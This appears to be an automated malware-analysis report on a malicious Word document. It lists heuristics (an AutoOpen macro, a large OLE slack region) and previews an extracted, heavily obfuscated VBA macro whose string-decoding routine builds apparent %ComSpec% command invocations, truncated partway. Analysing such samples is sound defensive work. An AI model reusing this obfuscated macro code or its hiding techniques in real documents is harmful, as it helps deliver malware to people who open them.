MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains a legacy WordBasic AutoOpen macro, indicating it is designed to execute arbitrary code upon opening. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the AutoOpen marker and the macro itself strongly suggests malicious intent. The large slack space in the OLE structure is also a common characteristic of packed or obfuscated malicious documents.
Heuristics 5
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 159,232 bytes but its declared streams total only 35,876 bytes — 123,356 bytes (77%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33960 bytes |
SHA-256: ca6ee0b99875d589e5a3a456c4868f5666c08e47427efe9698176820a7e0c7b8 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "dTzwzPiY"
Function ItCqt(DTfSJT)
MBAQnB = LfzHmc
DhnZw = pJXCz
FODWJ = oiGwwj + Sgn(53821 - nucvvE - YAlst + Fix(25395)) - 5481 - CDbl(18640)
iwSZv = 43199
JoMwz = ElHzSd
hbHtwh = SiPil
DUwNC = RmTGiG + Sgn(37255 - vAkwuZ - VCqZc + Fix(27176)) - 16656 - CDbl(80028)
YiMcsk = 75770
ulMJOU = ndFSS
TnMGhR = oZTIw
hEtqjL = rBJNE + Sgn(14808 - RmzIqX - FqAWKS + Fix(61013)) - 10636 - CDbl(40514)
DMZmU = 87280
VHFCSi = CajqBa
SZDcN = UZsjlj
Jriuzs = njRin + Sgn(22596 - UkipD - GlnVKG + Fix(99558)) - 35800 - CDbl(93070)
YRlmp = 20206
End Function
Function iRFFuhCjiZMuFW(ikobpvS)
osJOXi = VpCsA
JrillY = Mkqtt
UtRBZM = suwuj + Sgn(65928 - jzUEH - HFhjA + Fix(1401)) - 32272 - CDbl(12920)
ECQUhN = 26153
odfqw = unFDV
NQmlb = PMhBYv
NpuiL = pTujb + Sgn(52963 - Lqmvuz - jRoQit + Fix(95875)) - 97802 - CDbl(2372)
mEkni = 48637
JtCjD = jKJzY
ZmGbA = wBdzS
qRYuW = ncRmmB + Sgn(89801 - fzEFU - Zabkjd + Fix(70023)) - 40008 - CDbl(74240)
WJbzq = 73185
iRFFuhCjiZMuFW = ikobpvS
poSMvH = AFjknw
YiZdPq = OtGSpt
cZvZt = PRBhi + Sgn(36567 - jawzhp - wiBVav + Fix(12328)) - 52300 - CDbl(89728)
tFNXY = 60960
End Function
Function crGQAY(ByVal SVtwbjRY As String, olqSDjFtGPpiI, vzihCFH)
On Error Resume Next
LtrhGd = zwCDnw
lATRz = azwwo
pnYFP = uLnnw + Sgn(86681 - BJWdsC - wFIFuG + Fix(51842)) - 14740 - CDbl(21113)
vttjn = 8847
FoGjSXCbF = StrReverse(SVtwbjRY)
rmsskT = CaZvOD
FwAYk = SLJknA
rEAINF = lGKuNl + Sgn(19668 - UhftH - qwsKDZ + Fix(16124)) - 62452 - CDbl(56977)
FksGz = 50170
hFtiOiuWVmQibO = hJIkwlGL + Mid(VPqbFttkBHHzKf + FoGjSXCbF + FcCodtEGuQzk, GrLmwEEtpBCMqH + olqSDjFtGPpiI + pSSWd, vzihCFH) + iWjRiERIw
HJvdJ = VzFbtP
AcmlwR = zaHcbV
VQAmkt = uCuivs + Sgn(93386 - RBcPv - ovSSrU + Fix(26323)) - 62971 - CDbl(4250)
BoUAj = 10949
crGQAY = IWkFarHDYfdJ + hFtiOiuWVmQibO + zMZtjU
UsYcNA = cHXwkL
TsLcO = LOTpj
wUpOb = OYUPw + Sgn(14091 - ZQfvAj - wtfTNQ + Fix(36482)) - 31208 - CDbl(42693)
ZitqE = 13667
swcVnr = uEkon
SSGqZC = VBKAwC
qPOBV = sDEGX + Sgn(21211 - bZJfi - qnHcCR + Fix(3501)) - 34762 - CDbl(33544)
lbXkdN = 59896
End Function
Function jTimPO(SOANwr)
VVLbjm = jTrbM
iAaYN = TvLwEX
djDBEV = GFBZCi + Sgn(85787 - AzmLCv - SncAC + Fix(47078)) - 67989 - CDbl(20048)
HDqIb = 61154
nFMMZ = BViBov
LsUzJ = PYDTa
vdRzo = CUhzFp + Sgn(68034 - TmHRAj - wLOisz + Fix(20291)) - 30691 - CDbl(88035)
mmpdVj = 42424
RmaiLn = NNzdRm
rjzSD = vjsEn
SDuRw = lWizN + Sgn(37285 - bDflMm - wUuGjC + Fix(61296)) - 9323 - CDbl(98172)
uWrvUb = 37889
zZjPkt = dSbOQ
fRLUwJ = lvXjXA
qbEHc = pMNvj + Sgn(68946 - jCkEq - jOEjaV + Fix(34259)) - 60742 - CDbl(20572)
BArjq = 60387
End Function
Function hWFPrOqOqFPlCw()
On Error Resume Next
OUlEI = EPnOI
iKTpp = omvdl
fiHMv = AKEAWj + Sgn(9423 - bvARnH - bbuhK + Fix(4743)) - 36381 - CDbl(4061)
GkjbZd = 21615
aGkMK = kkiKu
wilYd = pXimA
avOkwO = oLviW + Sgn(76629 - dcqzQ - bZhdB + Fix(69024)) - 7393 - CDbl(93827)
nioGsm = 29069
YlvmnlMtR = crGQAY("%jMokXn5Sz", 33553 + 2 - 33553, 33553 + 1 - 33553)
zmUwFD = EOkTb
hlVwQ = OljOK
JYNpQ = XOiqLw + Sgn(15347 - WjYmz - VSFzTJ + Fix(55056)) - 72637 - CDbl(1607)
QXJiv = 58940
bljduS = fEvXj
QvnbJ = zkIJR
iwJDu = wIiRGn + Sgn(65225 - zIGjP - FTlNQL + Fix(60643)) - 77399 - CDbl(8130)
SbRHQ = 41828
qXSJQKHnH = crGQAY("XtmbcZ EPiYOEprjfldM dmwv5M", 76256 + 5 - 76256, 76256 + 21 - 76256)
cKCbXr = pAuEVq
cuXQKL = miNHEV
iVanbK = WNShcl + Sgn(47452 - RaSNi - huqFKC + Fix(80776)) - 52468 - CDbl(78063)
TVBKf = 37050
cLjdUk = VlbqA
PavKSZ = lnuwWi
YMUSWQ = GXwur + Sgn(50296 - jiBzID - CVwtz + Fix(12181)) - 96847 - CDbl(77685)
kGltw = 16084
FzfbRUdkT = crGQAY("rC1d %^c^E^p^S36", 32806 + 3 - 32806, 32806 + 11 - 32806)
ITkNI = wQazE
FtwOi = VrVYYJ
SGMnG = nbQsfX + Sgn(82491 - zXiSwB - iYnsGF + Fix(55606)) - 33363 - CDbl(92075)
uarqzl = 54906
iRihw = YYdncD
iqIdYm = aVauN
EIoni = EHNOP + Sgn(13432 - hJJfGv - PfNkD + Fix(79433)) - 34497 - CDbl(95200)
IqkUhi = 30913
FYiSbDfFMw = crGQAY("Aq2d %^c^E^p^S^m^o^c^% GC", 39785 + 3 - 39785, 39785 + 23 - 39785)
pJZwSR =
... (truncated)
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